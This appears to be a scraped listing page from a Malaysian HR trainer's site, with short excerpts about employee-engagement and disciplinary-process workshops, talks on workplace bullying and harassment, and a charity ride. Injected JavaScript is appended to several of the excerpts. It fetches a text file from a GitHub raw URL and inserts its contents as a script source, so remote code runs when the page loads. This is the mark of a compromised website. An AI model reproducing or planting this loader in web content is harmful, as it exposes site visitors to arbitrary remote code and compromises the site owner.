01 Aug 2019

Past Trainings
Employee engagement is about small group discourse to make employees become stakeholders in the Company. This one day workshop is help employee discover their worth and how to put their talents towards personal growth and creating overall employee satisfaction;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response => response.text())...
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01 Jul 2019

Past Trainings
2 day program on Employee Engagement and the Disciplinary process for Malaysian Hotels Association (KL Chapter) . HOW DO WE KNOW WHEN OUR TRAINING IS EFFECTIVE?As much as there is a requirement to cover the course content, one cannot stress the importance of the break-out sessions, which are critical to gauge the participants understanding and the application of the course material. As M...
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01 Jun 2019

Past Trainings
2 days of training members of the Malaysian Hotel Associations (Penang branch) on Management Empowerment & Discipline. Rather the telling them the law is, my focus is Case studies & role playing as a means of finding solutions in respect of the challenges faced by Companies.;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(respon...
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24 Apr 2019

Events & Forums
Bullying and sexual harassment is one of the current issues in employment. Management failure to address this has legal percussions on Directors of companies and Managers. As this is a public program anyone is free to join;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.c...
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04 Apr 2019

Off the beaten path
https://www.youtube.com/watch?v=SBI_QLoxO2Q https://www.youtube.com/watch?v=takwy8T4tYs “The 2 most important days of your life is the day you were born, and the day you discover WHY?” – Mark Twain This story begins in 2011 when I did my first charity ride with a German charity called The Tour of Hope (TTOH) where we rode from Bangkok to Chiangmai to raise Money to build librarie...
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13 Feb 2019

Events & Forums
Privileged to be invited to speak at this program at Perdana University. Many employers fail to see the impact of Bullying & Sexual Harassment in the work place and the long term implication on their companies;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElem...
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01 Feb 2019

Past Trainings
Day 1 - Training of RedOne group of companies HR personnel on placing onus on Managers to assume ownership for their departments. The central focus is on employee engagement of moving from 'skill-set to mindset' Day 2 - Training at redOne on the dreaded topic of the Domestic Inquiry. Participants were taken through the common pitfalls where procedures are not adhered to; the failure to...
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28 Aug 2018

Events & Forums
It's taking the first step to personal self discovery and to know what you are capable of. A great turn out on a Sunday afternoon. Finding the WHY in your life is about giving you the jigsaw puzzle and you have to figure out the missing pieces https://www.youtube.com/watch?v=Kdt2KkO7lQ8 https://youtu.be/SR0SxtMFtC0 ;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/c...
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01 Aug 2018

Past Trainings
Throwback to August 2018 when was invited to train the Department heads and Managers of Hard Rock Restaurants Malaysia on Employee engagement and how to initiate the disciplinary process;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = d...
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01 Aug 2017

Past Trainings
Throwback to August 2017.The training that started it all. 1 day training for Hume's many divisions. Empowering the managers and at the same time empowering myself. Every training module is a living document, which evolves over time. As much as there are takeaways for participants, there is also takeaways for me on how to improve the module so that it raises the value of an organisatio...
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